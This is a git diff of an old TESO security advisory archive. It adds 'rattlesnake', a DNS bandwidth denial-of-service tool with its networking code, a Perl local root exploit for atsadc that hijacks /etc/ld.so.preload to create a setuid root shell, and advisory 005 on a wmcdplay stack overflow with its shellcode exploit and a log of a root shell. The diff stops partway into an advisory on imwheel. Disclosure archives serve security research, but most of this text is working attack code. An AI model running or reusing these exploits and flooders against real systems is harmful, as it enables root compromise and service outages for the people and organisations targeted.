| 232 | gsnr = getsockname (b->bs, (struct sockaddr *) &b->bsa, &len); | ||
| 233 | b->port = ntohs (sap->sin_port); | ||
| 234 | if (gsnr == -1) | ||
| 235 | goto berror; | ||
| 236 | |||
| 237 | lr = listen (b->bs, 16); | ||
| 238 | if (lr == -1) { | ||
| 239 | goto berror; | ||
| 240 | } | ||
| 241 | return (b); | ||
| 242 | |||
| 243 | berror: | ||
| 244 | free (b); | ||
| 245 | |||
| 246 | return(NULL); | ||
| 247 | } | ||
| 248 | |||
| 249 | |||
| 250 | int | ||
| 251 | net_parseip (char *inp, char **ip, unsigned short int *port) | ||
| 252 | { | ||
| 253 | int n; | ||
| 254 | |||
| 255 | if (inp == NULL) | ||
| 256 | return (0); | ||
| 257 | if (strchr (inp, ':') == NULL) | ||
| 258 | return (0); | ||
| 259 | |||
| 260 | *ip = calloc (1, 256); | ||
| 261 | if (*ip == NULL) | ||
| 262 | return (0); | ||
| 263 | |||
| 264 | n = sscanf (inp, "%[^:]:%hu", *ip, port); | ||
| 265 | if (n != 2) | ||
| 266 | return (0); | ||
| 267 | |||
| 268 | *ip = realloc (*ip, strlen (*ip) + 1); | ||
| 269 | if (*ip == NULL || (*port < 1 || *port > 65535)) | ||
| 270 | return (0); | ||
| 271 | |||
| 272 | return (1); | ||
| 273 | } | ||
| 274 | |||
| 275 | |||
| 276 | char * | ||
| 277 | net_getlocalip (void) | ||
| 278 | { | ||
| 279 | struct sockaddr_in pf; | ||
| 280 | char name[255]; | ||
| 281 | |||
| 282 | memset (name, '\0', sizeof (name)); | ||
| 283 | |||
| 284 | if (gethostname (name, sizeof (name) - 1) == -1) { | ||
| 285 | return (NULL); | ||
| 286 | } | ||
| 287 | |||
| 288 | pf.sin_addr.s_addr = net_resolve (name); | ||
| 289 | |||
| 290 | return (strdup (inet_ntoa (pf.sin_addr)));; | ||
| 291 | } | ||
| 292 | |||
| 293 | |||
| 294 | /* partly based on resolv routine from ? | ||
| 295 | */ | ||
| 296 | |||
| 297 | unsigned long int | ||
| 298 | net_resolve (char *host) | ||
| 299 | { | ||
| 300 | long i; | ||
| 301 | struct hostent *he; | ||
| 302 | |||
| 303 | if (host == NULL) | ||
| 304 | return (htonl (INADDR_ANY)); | ||
| 305 | |||
| 306 | if (strcmp (host, "*") == 0) | ||
| 307 | return (htonl (INADDR_ANY)); | ||
| 308 | |||
| 309 | i = inet_addr (host); | ||
| 310 | if (i == -1) { | ||
| 311 | he = gethostbyname (host); | ||
| 312 | if (he == NULL) { | ||
| 313 | return (0); | ||
| 314 | } else { | ||
| 315 | return (*(unsigned long *) he->h_addr); | ||
| 316 | } | ||
| 317 | } | ||
| 318 | return (i); | ||
| 319 | } | ||
| 320 | |||
| 321 | |||
| 322 | int | ||
| 323 | net_printipr (struct in_addr *ia, char *str, size_t len) | ||
| 324 | { | ||
| 325 | unsigned char *ipp; | ||
| 326 | |||
| 327 | ipp = (unsigned char *) &ia->s_addr; | ||
| 328 | snprintf (str, len - 1, "%d.%d.%d.%d", ipp[3], ipp[2], ipp[1], ipp[0]); | ||
| 329 | |||
| 330 | return (0); | ||
| 331 | } | ||
| 332 | |||
| 333 | |||
| 334 | int | ||
| 335 | net_printip (struct in_addr *ia, char *str, size_t len) | ||
| 336 | { | ||
| 337 | unsigned char *ipp; | ||
| 338 | |||
| 339 | ipp = (unsigned char *) &ia->s_addr; | ||
| 340 | snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); | ||
| 341 | |||
| 342 | return (0); | ||
| 343 | } | ||
| 344 | |||
| 345 | |||
| 346 | int | ||
| 347 | net_printipa (struct in_addr *ia, char **str) | ||
| 348 | { | ||
| 349 | unsigned char *ipp; | ||
| 350 | |||
| 351 | ipp = (unsigned char *) &ia->s_addr; | ||
| 352 | *str = calloc (1, 256); | ||
| 353 | if (*str == NULL) | ||
| 354 | return (1); | ||
| 355 | |||
| 356 | snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); | ||
| 357 | *str = realloc (*str, strlen (*str) + 1); | ||
| 358 | |||
| 359 | return ((*str == NULL) ? 1 : 0); | ||
| 360 | } | ||
| 361 | |||
| 362 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/network.h b/advisories/teso-advisory-003/namesnake/src/network.h new file mode 100644 index 0000000..97054f4 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/network.h | |||
| @@ -0,0 +1,135 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * by scut | ||
| 4 | */ | ||
| 5 | |||
| 6 | #ifndef _FNX_NETWORK_H | ||
| 7 | #define _FNX_NETWORK_H | ||
| 8 | |||
| 9 | #include <sys/socket.h> | ||
| 10 | #include <net/if.h> | ||
| 11 | #include <netinet/in.h> | ||
| 12 | #include <stdio.h> | ||
| 13 | |||
| 14 | |||
| 15 | typedef struct bound { | ||
| 16 | int bs; /* bound socket */ | ||
| 17 | unsigned short port; /* port we bound to */ | ||
| 18 | struct sockaddr bsa; /* bs_in */ | ||
| 19 | } bound; | ||
| 20 | |||
| 21 | |||
| 22 | /* net_connect | ||
| 23 | * | ||
| 24 | * connect to the given `server' and `port' with a max timeout of `sec'. | ||
| 25 | * initialize the sockaddr_in struct `cs' correctly (ipv4), accept any | ||
| 26 | * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname. | ||
| 27 | * create a new socket and return either -1 if failed or | ||
| 28 | * the connected socket if connection has been established within the | ||
| 29 | * timeout limit. | ||
| 30 | * | ||
| 31 | * the routine is still IPv4 biased :-/ | ||
| 32 | * | ||
| 33 | * return -1 on failure | ||
| 34 | * return socket if success | ||
| 35 | */ | ||
| 36 | |||
| 37 | int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, | ||
| 38 | int sec); | ||
| 39 | |||
| 40 | |||
| 41 | /* net_accept | ||
| 42 | * | ||
| 43 | * accept a connection from socket s, and stores the connection | ||
| 44 | * into cs. | ||
| 45 | * wait a maximum amount of maxsec seconds for connections | ||
| 46 | * maxsec can also be zero (infinite wait, until connection) | ||
| 47 | * | ||
| 48 | * return 0 if no connection has been made within maxsec seconds | ||
| 49 | * return -1 if an error appears | ||
| 50 | * return the socket number if a connection has been made | ||
| 51 | */ | ||
| 52 | |||
| 53 | int net_accept (int s, struct sockaddr_in *cs, int maxsec); | ||
| 54 | |||
| 55 | |||
| 56 | /* net_bind | ||
| 57 | * | ||
| 58 | * bind a socket to an ip:port on the local machine, | ||
| 59 | * `ip' can be either NULL (bind to all IP's on the host), or a pointer | ||
| 60 | * to a virtual host name, or a real IP, or "*" for any. | ||
| 61 | * `port' can be either 0 (ephemeral port), or any free port. | ||
| 62 | * | ||
| 63 | * return NULL on failure | ||
| 64 | * return pointer to bound structure on success | ||
| 65 | */ | ||
| 66 | |||
| 67 | bound *net_bind (char *ip, unsigned short int port); | ||
| 68 | |||
| 69 | |||
| 70 | /* net_boundfree | ||
| 71 | * | ||
| 72 | * free the bound structure pointed to by `bf' | ||
| 73 | * | ||
| 74 | * return in any case | ||
| 75 | */ | ||
| 76 | |||
| 77 | void net_boundfree (bound *bf); | ||
| 78 | |||
| 79 | |||
| 80 | /* net_parseip | ||
| 81 | * | ||
| 82 | * read an ip in the format "1.1.1.1:299" or "blabla:481" into | ||
| 83 | * the char pointer *ip and into the port *port | ||
| 84 | * | ||
| 85 | * return 0 on failure | ||
| 86 | * return 1 on success | ||
| 87 | */ | ||
| 88 | |||
| 89 | int net_parseip (char *inp, char **ip, unsigned short int *port); | ||
| 90 | |||
| 91 | |||
| 92 | /* net_getlocalip | ||
| 93 | * | ||
| 94 | * give back the main IP of the local machine | ||
| 95 | * | ||
| 96 | * return the local IP address as string on success | ||
| 97 | * return NULL on failure | ||
| 98 | */ | ||
| 99 | |||
| 100 | char *net_getlocalip (void); | ||
| 101 | |||
| 102 | |||
| 103 | /* net_resolve | ||
| 104 | * | ||
| 105 | * resolve a hostname pointed to by `host' into a s_addr return value | ||
| 106 | * | ||
| 107 | * return the correct formatted `s_addr' for this host on success | ||
| 108 | * return 0 on failure | ||
| 109 | */ | ||
| 110 | |||
| 111 | unsigned long int net_resolve (char *host); | ||
| 112 | |||
| 113 | |||
| 114 | /* net_printip | ||
| 115 | * | ||
| 116 | * print an IP address stored in the struct in_addr pointed to by `ia' to a | ||
| 117 | * string `str' with a maximum length of `len'. | ||
| 118 | * | ||
| 119 | * return 0 on success | ||
| 120 | *Üreturn 1 on failure | ||
| 121 | * | ||
| 122 | * net_printipa behaves the same way, except it allocates memory and let | ||
| 123 | * `*str' point to the string | ||
| 124 | * | ||
| 125 | * net_printipr behaves like net_printip, except the IP is printed in | ||
| 126 | * reverse quad dotted order (dns labels) | ||
| 127 | */ | ||
| 128 | |||
| 129 | int net_printip (struct in_addr *ia, char *str, size_t len); | ||
| 130 | int net_printipa (struct in_addr *ia, char **str); | ||
| 131 | int net_printipr (struct in_addr *ia, char *str, size_t len); | ||
| 132 | |||
| 133 | |||
| 134 | #endif | ||
| 135 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/rattlesnake.c b/advisories/teso-advisory-003/namesnake/src/rattlesnake.c new file mode 100644 index 0000000..944b74c --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/rattlesnake.c | |||
| @@ -0,0 +1,157 @@ | |||
| 1 | /* rattlesnake - bandwidth denial of service attack | ||
| 2 | * | ||
| 3 | * by scut of teso | ||
| 4 | * (discovered by me too, see teso-i0006.txt) | ||
| 5 | * | ||
| 6 | * main file | ||
| 7 | */ | ||
| 8 | |||
| 9 | #define VERSION "0.0.2" | ||
| 10 | #define AUTHORS "scut of teso" | ||
| 11 | |||
| 12 | #include <sys/types.h> | ||
| 13 | #include <netinet/in.h> | ||
| 14 | #include <time.h> | ||
| 15 | #include <stdlib.h> | ||
| 16 | #include <stdio.h> | ||
| 17 | #include "common.h" | ||
| 18 | #include "network.h" | ||
| 19 | #include "dns-build.h" | ||
| 20 | #include "dns.h" | ||
| 21 | #include "io-udp.h" | ||
| 22 | |||
| 23 | |||
| 24 | int usage (char *program); | ||
| 25 | int rattle (char *domain_victim); | ||
| 26 | |||
| 27 | char * ns_domain; | ||
| 28 | char * ip_local = NULL; | ||
| 29 | int ns_count, | ||
| 30 | ns_walker = 0; | ||
| 31 | char ** ns_list = NULL; | ||
| 32 | int speed; | ||
| 33 | int sd_len = 340; | ||
| 34 | |||
| 35 | |||
| 36 | int | ||
| 37 | usage (char *program) | ||
| 38 | { | ||
| 39 | printf ("usage: %s <ns-list> <victim-domain> <bandwidth> [sdlen]\n\n" | ||
| 40 | "ns-list file with a nameserver list\n" | ||
| 41 | "victim-domain the domain that references to our victim ip\n" | ||
| 42 | "bandwidth bandwidth in kbps that we should utilize, the higher the lamer\n" | ||
| 43 | "sdlen subdomain length as in <sdlen>.<victim-domain>\n" | ||
| 44 | " default is 340 (1-400 makes sense)\n\n", | ||
| 45 | program); | ||
| 46 | |||
| 47 | exit (EXIT_FAILURE); | ||
| 48 | } | ||
| 49 | |||
| 50 | |||
| 51 | int | ||
| 52 | main (int argc, char **argv) | ||
| 53 | { | ||
| 54 | printf ("rattlesnake "VERSION" by "AUTHORS"\n\n"); | ||
| 55 | |||
| 56 | if (argc < 4 || argc > 5) | ||
| 57 | usage (argv[0]); | ||
| 58 | if (argc == 5 && sscanf (argv[4], "%d", &sd_len) != 1) | ||
| 59 | usage (argv[0]); | ||
| 60 | |||
| 61 | |||
| 62 | ip_local = net_getlocalip (); | ||
| 63 | |||
| 64 | ns_list = file_read (argv[1]); | ||
| 65 | if (ns_list == NULL) { | ||
| 66 | fprintf (stderr, "failed to open nameserver list file %s\n", argv[1]); | ||
| 67 | exit (EXIT_FAILURE); | ||
| 68 | } | ||
| 69 | for (ns_count = 0 ; ns_list[ns_count] != NULL ; ++ns_count) | ||
| 70 | ; | ||
| 71 | if (ns_count == 0) { | ||
| 72 | fprintf (stderr, "come on boy, you must at least supply one nameserver\n"); | ||
| 73 | exit (EXIT_FAILURE); | ||
| 74 | } | ||
| 75 | |||
| 76 | if (sscanf (argv[3], "%d", &speed) != 1) | ||
| 77 | usage (argv[0]); | ||
| 78 | |||
| 79 | printf ("[ns] querying below %s through the help of %d nameservers at %d kbps\n", | ||
| 80 | argv[2], ns_count, speed); | ||
| 81 | printf ("===============================================================================\n"); | ||
| 82 | |||
| 83 | srandom (time (NULL)); | ||
| 84 | |||
| 85 | rattle (argv[2]); | ||
| 86 | |||
| 87 | exit (EXIT_SUCCESS); | ||
| 88 | } | ||
| 89 | |||
| 90 | |||
| 91 | int | ||
| 92 | rattle (char *domain_victim) | ||
| 93 | { | ||
| 94 | dns_pdata * dp; | ||
| 95 | char * querydomain; | ||
| 96 | char * querydomain2; | ||
| 97 | struct timeval tv_start; | ||
| 98 | unsigned long long int size_send = 0; | ||
| 99 | |||
| 100 | gettimeofday (&tv_start, NULL); | ||
| 101 | |||
| 102 | while (1) { | ||
| 103 | unsigned long long int sleeptime; | ||
| 104 | struct timeval tv_now; | ||
| 105 | |||
| 106 | /* construct query domain, slow | ||
| 107 | */ | ||
| 108 | dp = dns_build_new (); | ||
| 109 | querydomain = dns_build_random (domain_victim, 32); | ||
| 110 | while (strlen (querydomain) < sd_len) { | ||
| 111 | querydomain2 = dns_build_random (querydomain, 32); | ||
| 112 | free (querydomain); | ||
| 113 | querydomain = querydomain2; | ||
| 114 | } | ||
| 115 | |||
| 116 | /* now build DNS packet | ||
| 117 | */ | ||
| 118 | dns_build_q (dp, querydomain, T_A, C_IN); | ||
| 119 | dns_packet_send (ip_local, ns_list[ns_walker], m_random (1024, 65535), 53, | ||
| 120 | m_random (1, 65535), DF_RD, 1, 0, 0, 0, dp); | ||
| 121 | dns_build_destroy (dp); | ||
| 122 | |||
| 123 | size_send += strlen (querydomain) + sizeof (ip_hdr) + | ||
| 124 | sizeof (udp_hdr) + sizeof (dns_hdr); | ||
| 125 | free (querydomain); | ||
| 126 | |||
| 127 | /* eye candy | ||
| 128 | */ | ||
| 129 | printf ("."); | ||
| 130 | fflush (stdout); | ||
| 131 | |||
| 132 | /* next server | ||
| 133 | */ | ||
| 134 | ns_walker++; | ||
| 135 | ns_walker %= ns_count; | ||
| 136 | |||
| 137 | /* if you get fucked up here it's because you've packeted too | ||
| 138 | * much, so bugger off and don't be a wussy | ||
| 139 | */ | ||
| 140 | do { | ||
| 141 | /* some people might think now that a sleeptime approach | ||
| 142 | * is better here, but in this case a mixture of polling | ||
| 143 | * and time calculation is better for equal spreading of | ||
| 144 | * the packets being send | ||
| 145 | */ | ||
| 146 | usleep (5000); /* don't poll too fast */ | ||
| 147 | gettimeofday (&tv_now, NULL); | ||
| 148 | sleeptime = tv_now.tv_sec - tv_start.tv_sec; | ||
| 149 | sleeptime *= 1000000; | ||
| 150 | sleeptime += ((tv_now.tv_usec + 1000000) - tv_start.tv_usec) % 1000000; | ||
| 151 | } while (((sleeptime * speed) / 7812) < size_send); | ||
| 152 | } | ||
| 153 | |||
| 154 | return (1); | ||
| 155 | } | ||
| 156 | |||
| 157 | |||
diff --git a/advisories/teso-advisory-004/advisory-004.txt b/advisories/teso-advisory-004/advisory-004.txt new file mode 100644 index 0000000..248adea --- /dev/null +++ b/advisories/teso-advisory-004/advisory-004.txt | |||
| Binary files differ | |||
diff --git a/advisories/teso-advisory-004/ass.pl b/advisories/teso-advisory-004/ass.pl new file mode 100755 index 0000000..dbb1fd4 --- /dev/null +++ b/advisories/teso-advisory-004/ass.pl | |||
| @@ -0,0 +1,61 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | # Halloween 4 local root-exploit, other distros are maybe | ||
| 4 | # affected as well. (atsadc program) | ||
| 5 | # (C) 2000 C-skills development, S. Krahmer under the GPL | ||
| 6 | # http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 7 | |||
| 8 | # Exploit will create /etc/ld.so.preload, so it should NOT exist | ||
| 9 | # already. THIS FILE WILL BE LOST! | ||
| 10 | |||
| 11 | # ! USE IT AT YOUR OWN RISK ! | ||
| 12 | # For educational purposes only. | ||
| 13 | |||
| 14 | print "Creating hijack-lib ...\n"; | ||
| 15 | open O, ">/tmp/boom.c" or die "open(boom.c..)"; | ||
| 16 | print O<<_EOF_; | ||
| 17 | #include <sys/types.h> | ||
| 18 | |||
| 19 | int time(void *v) | ||
| 20 | { | ||
| 21 | chown("/tmp/boomsh", 0, 0); | ||
| 22 | chmod("/tmp/boomsh", 06755); | ||
| 23 | unlink("/etc/ld.so.preload"); | ||
| 24 | exit(1); | ||
| 25 | } | ||
| 26 | _EOF_ | ||
| 27 | close O; | ||
| 28 | |||
| 29 | print "Compiling hijack-lib ...\n"; | ||
| 30 | $foo = `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`; | ||
| 31 | $foo = `cc -shared /tmp/boom.o -o /tmp/boom.so`; | ||
| 32 | |||
| 33 | open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)"; | ||
| 34 | print O<<_EOF2_; | ||
| 35 | #include <stdio.h> | ||
| 36 | int main() | ||
| 37 | { | ||
| 38 | char *a[] = {"/bin/sh", 0}; | ||
| 39 | setuid(0); setregid(0, 0); | ||
| 40 | execve(a[0], a, 0); | ||
| 41 | return 0; | ||
| 42 | } | ||
| 43 | _EOF2_ | ||
| 44 | close O; | ||
| 45 | |||
| 46 | print "Compile shell ...\n"; | ||
| 47 | $foo = `cc /tmp/boomsh.c -o /tmp/boomsh`; | ||
| 48 | |||
| 49 | umask 0; | ||
| 50 | |||
| 51 | print "Invoking vulnerable program (atsadc)...\n"; | ||
| 52 | $foo = `atsadc 2 1 /etc/ld.so.preload`; | ||
| 53 | open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload."; | ||
| 54 | print O "/tmp/boom.so"; | ||
| 55 | close O; | ||
| 56 | $foo = `/usr/bin/passwd`; | ||
| 57 | |||
| 58 | # let it look like if we have sth. to do. :) | ||
| 59 | sleep 3; | ||
| 60 | print "Welcome. But as always: BEHAVE!\n"; | ||
| 61 | system("/tmp/boomsh"); | ||
diff --git a/advisories/teso-advisory-005/advisory-005.txt b/advisories/teso-advisory-005/advisory-005.txt new file mode 100644 index 0000000..327cb19 --- /dev/null +++ b/advisories/teso-advisory-005/advisory-005.txt | |||
| @@ -0,0 +1,166 @@ | |||
| 1 | -----BEGIN PGP SIGNED MESSAGE----- | ||
| 2 | Hash: SHA1 | ||
| 3 | |||
| 4 | |||
| 5 | - ------ | ||
| 6 | |||
| 7 | TESO Security Advisory | ||
| 8 | 03/09/2000 | ||
| 9 | |||
| 10 | wmcdplay local root compromise | ||
| 11 | |||
| 12 | |||
| 13 | Summary | ||
| 14 | =================== | ||
| 15 | |||
| 16 | A vulnerability within the wmcdplay CD playing application for the | ||
| 17 | WindowMaker desktop has been discovered. It allows local root compromise | ||
| 18 | through arbitrary code execution. | ||
| 19 | |||
| 20 | |||
| 21 | Systems Affected | ||
| 22 | =================== | ||
| 23 | |||
| 24 | Any system which has wmcdplay installed as setuid root. Though on most | ||
| 25 | popular system distributions wmcdplay is not installed by default, the | ||
| 26 | optional installation of it is always setuid root, hence affected by the | ||
| 27 | problem. | ||
| 28 | |||
| 29 | Please note that wmcdplay doesn't require WindowMaker as its desktop, | ||
| 30 | so even if you haven't installed WindowMaker you may be vulnerable. | ||
| 31 | |||
| 32 | Among the vulnerable distributions (if the package is installed) are the | ||
| 33 | following systems: | ||
| 34 | |||
| 35 | Debian/GNU Linux 2.1, wmcdplay 1.0beta1-2 | ||
| 36 | Halloween Linux Version 4 | ||
| 37 | |||
| 38 | |||
| 39 | Tests | ||
| 40 | =================== | ||
| 41 | |||
| 42 | |||
| 43 | liane:[bletchley]> id -a | ||
| 44 | uid=501(bletchley) gid=501(bletchley) groups=501(bletchley) | ||
| 45 | liane:[bletchley]> cd wmhack/ | ||
| 46 | liane:[wmhack]> uname -a | ||
| 47 | Linux liane.c-skills.de 2.2.13-13 #21 Thu Mar 2 10:36:13 WET 2000 i686 unknown | ||
| 48 | liane:[wmhack]> stat `which wmcdplay` | ||
| 49 | File: "/usr/X11R6/bin/wmcdplay" | ||
| 50 | Size: 38372 Filetype: Regular File | ||
| 51 | Mode: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) | ||
| 52 | Device: 3,1 Inode: 213954 Links: 1 | ||
| 53 | Access: Sat Mar 4 14:21:43 2000(00004.20:34:20) | ||
| 54 | Modify: Thu Nov 11 09:59:00 1999(00119.00:57:03) | ||
| 55 | Change: Fri Mar 3 15:31:42 2000(00005.19:24:21) | ||
| 56 | liane:[wmhack]> cc wmexp.c | ||
| 57 | liane:[wmhack]> ./a.out | ||
| 58 | You can also add an offset to the command-line. 40 worked for me on the console. | ||
| 59 | Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 60 | Respect other users privacy! | ||
| 61 | wmcdplay : Tried to find artwork file, but failed. | ||
| 62 | Segmentation fault | ||
| 63 | liane:[wmhack]> ./a.out 40 | ||
| 64 | Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 65 | Respect other users privacy! | ||
| 66 | wmcdplay : Tried to find artwork file, but failed. | ||
| 67 | Illegal instruction | ||
| 68 | liane:[wmhack]> ./a.out 140 | ||
| 69 | Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 70 | Respect other users privacy! | ||
| 71 | wmcdplay : Tried to find artwork file, but failed. | ||
| 72 | sh-2.03# id -a | ||
| 73 | uid=0(root) gid=501(bletchley) groups=501(bletchley) | ||
| 74 | sh-2.03# | ||
| 75 | |||
| 76 | Impact | ||
| 77 | =================== | ||
| 78 | |||
| 79 | Through exploitation of the buffer overflow within wmcdplay a local user | ||
| 80 | can elevate his privileges to the superuser level. Once this is archived | ||
| 81 | the attacker has complete access to the system, allowing compromitation | ||
| 82 | of all data stored on it. | ||
| 83 | |||
| 84 | |||
| 85 | Explanation | ||
| 86 | =================== | ||
| 87 | |||
| 88 | Due to inaccurate bounds-checking a sprintf() call with commandline | ||
| 89 | arguments, it can be used to overflow a stack-located buffer. | ||
| 90 | By setting proper values and avoiding zero-bytes an attacker can execute | ||
| 91 | arbitrary code. | ||
| 92 | |||
| 93 | |||
| 94 | Solution | ||
| 95 | =================== | ||
| 96 | |||
| 97 | The author and the distributor has been informed before. A patch is already | ||
| 98 | available. Short-timed just remove the suid-bit; it is not necessary. | ||
| 99 | |||
| 100 | |||
| 101 | Acknowledgments | ||
| 102 | ================ | ||
| 103 | |||
| 104 | The bug-discovery and the demonstration programs are due to S. Krahmer [2]. | ||
| 105 | The shell-code is due to Stealth. | ||
| 106 | |||
| 107 | This advisory has been written by scut and S. Krahmer. | ||
| 108 | |||
| 109 | |||
| 110 | Contact Information | ||
| 111 | =================== | ||
| 112 | |||
| 113 | The TESO crew can be reached by mailing to tesopub@coredump.cx. | ||
| 114 | Our web page is at http://teso.scene.at/ | ||
| 115 | |||
| 116 | C-Skills developers may be reached through [2]. | ||
| 117 | |||
| 118 | |||
| 119 | References | ||
| 120 | =================== | ||
| 121 | |||
| 122 | [1] TESO | ||
| 123 | http://teso.scene.at/ | ||
| 124 | |||
| 125 | [2] S. Krahmer, C-Skills | ||
| 126 | http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 127 | |||
| 128 | |||
| 129 | Disclaimer | ||
| 130 | =================== | ||
| 131 | |||
| 132 | This advisory does not claim to be complete or to be usable for any | ||
| 133 | purpose. Especially information on the vulnerable systems may be | ||
| 134 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 135 | purposes, but for educational purposes only. | ||
| 136 | |||
| 137 | This advisory is free for open distribution in unmodified form. | ||
| 138 | Articles that are based on information from this advisory should include | ||
| 139 | link [1] and [2]. | ||
| 140 | |||
| 141 | |||
| 142 | Exploit | ||
| 143 | =================== | ||
| 144 | |||
| 145 | We've created a working demonstration program to exploit the vulnerability. | ||
| 146 | |||
| 147 | The exploit is available from | ||
| 148 | |||
| 149 | http://teso.scene.at/ | ||
| 150 | |||
| 151 | and | ||
| 152 | |||
| 153 | http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 154 | |||
| 155 | - ------ | ||
| 156 | |||
| 157 | |||
| 158 | |||
| 159 | -----BEGIN PGP SIGNATURE----- | ||
| 160 | Version: GnuPG v1.0.0 (GNU/Linux) | ||
| 161 | Comment: For info see http://www.gnupg.org | ||
| 162 | |||
| 163 | iD8DBQE4yQ4QcZZ+BjKdwjcRAobJAJwO+vEtw5on/9obko1ozI7DywhbSwCgnG18 | ||
| 164 | 7aAhRDSSJr15f06W1Ei4b64= | ||
| 165 | =HrTR | ||
| 166 | -----END PGP SIGNATURE----- | ||
diff --git a/advisories/teso-advisory-005/wmexp.c b/advisories/teso-advisory-005/wmexp.c new file mode 100644 index 0000000..88a3398 --- /dev/null +++ b/advisories/teso-advisory-005/wmexp.c | |||
| @@ -0,0 +1,65 @@ | |||
| 1 | /*** Halloween 4 local root exploit for wmcdplay. Other distros are | ||
| 2 | *** maybe affected as well. | ||
| 3 | *** (C) 2000 by C-skills development. Under the GPL. | ||
| 4 | *** | ||
| 5 | *** Bugdiscovery + exploit by S. Krahmer & Stealth. | ||
| 6 | *** | ||
| 7 | *** This exploit was made (possible by|for) the team TESO and CyberPsychotic, the | ||
| 8 | *** OpenBSD-freak. :-) Greets to all our friends. You know who you are. | ||
| 9 | *** | ||
| 10 | *** | ||
| 11 | *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! | ||
| 12 | *** | ||
| 13 | *** other advisories and kewl stuff at: | ||
| 14 | *** http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 15 | *** | ||
| 16 | ***/ | ||
| 17 | #include <stdio.h> | ||
| 18 | |||
| 19 | /* The shellcode can't contain '/' as wmcdplay will exit then. | ||
| 20 | * So i used Stealth's INCREDIBLE hellkit to generate these code! :-) | ||
| 21 | */ | ||
| 22 | char shell[] = | ||
| 23 | "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa" | ||
| 24 | "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01" | ||
| 25 | "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11" | ||
| 26 | "\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c" | ||
| 27 | "\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01" | ||
| 28 | "\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\x91\x91\x91" | ||
| 29 | "\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91"; | ||
| 30 | |||
| 31 | /* filename-buffer plus ret + ebp - defaultpath | ||
| 32 | */ | ||
| 33 | #define buflen (256+8 - 28) | ||
| 34 | #error "no kids please" | ||
| 35 | |||
| 36 | int main(int argc, char **argv) | ||
| 37 | { | ||
| 38 | char *wm[] = { | ||
| 39 | "/usr/X11R6/bin/wmcdplay", | ||
| 40 | "-f", | ||
| 41 | "-display", "0:0", /* one might comment this if already running on X; remotely you can | ||
| 42 | * give your own server | ||
| 43 | */ | ||
| 44 | 0 | ||
| 45 | }; | ||
| 46 | |||
| 47 | char boom[buflen+10]; | ||
| 48 | int i = 0, j = 0, ret = 0xbffff796; /* this address works for me */ | ||
| 49 | |||
| 50 | memset(boom, 0, sizeof(boom)); | ||
| 51 | memset(boom, 0x90, buflen); | ||
| 52 | if (argc > 1) | ||
| 53 | ret += atoi(argv[1]); | ||
| 54 | else | ||
| 55 | printf("You can also add an offset to the commandline. 40 worked for me on the console.\n"); | ||
| 56 | for (i = buflen-strlen(shell)-4; i < buflen-4; i++) | ||
| 57 | boom[i] = shell[j++]; | ||
| 58 | *(long*)(&boom[i]) = ret; | ||
| 59 | |||
| 60 | printf("Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer\n" | ||
| 61 | "Respect other users privacy!\n"); | ||
| 62 | |||
| 63 | execl(wm[0], wm[0], wm[1], boom, wm[2], wm[3], 0); | ||
| 64 | return 0; | ||
| 65 | } | ||
diff --git a/advisories/teso-advisory-006/advisory-006.txt b/advisories/teso-advisory-006/advisory-006.txt new file mode 100644 index 0000000..57dfae2 --- /dev/null +++ b/advisories/teso-advisory-006/advisory-006.txt | |||
| @@ -0,0 +1,157 @@ | |||
| 1 | -----BEGIN PGP SIGNED MESSAGE----- | ||
| 2 | Hash: SHA1 | ||
| 3 | |||
| 4 | - ------ | ||
| 5 | |||
| 6 | TESO Security Advisory | ||
| 7 | 2000/03/13 | ||
| 8 | |||
| 9 | imwheel local root compromise | ||
| 10 | |||
| 11 | |||
| 12 | Summary | ||
| 13 | =================== | ||
| 14 | |||
| 15 | A vulnerability within the imwheel application for Linux has been | ||
| 16 | discovered. Some of these packages are shipped with an suid-root | ||
| 17 | wrapper-script that invokes the insecure program 'imwheel' with UID 0. | ||
| 18 | |||
| 19 | |||
| 20 | Systems Affected | ||
| 21 | =================== | ||
| 22 | |||
| 23 | Any system which has imwheel-solo wrapper-script installed as set-UID root. | ||
| 24 | |||
| 25 | Among the vulnerable distributions (if the package is installed) are the | ||
| 26 | following systems: | ||
| 27 | |||
| 28 | Halloween Linux Version 4 - imwheel package from the | ||
| 29 | powertools/contrib. CD | ||
| 30 | |||
| 31 | |||
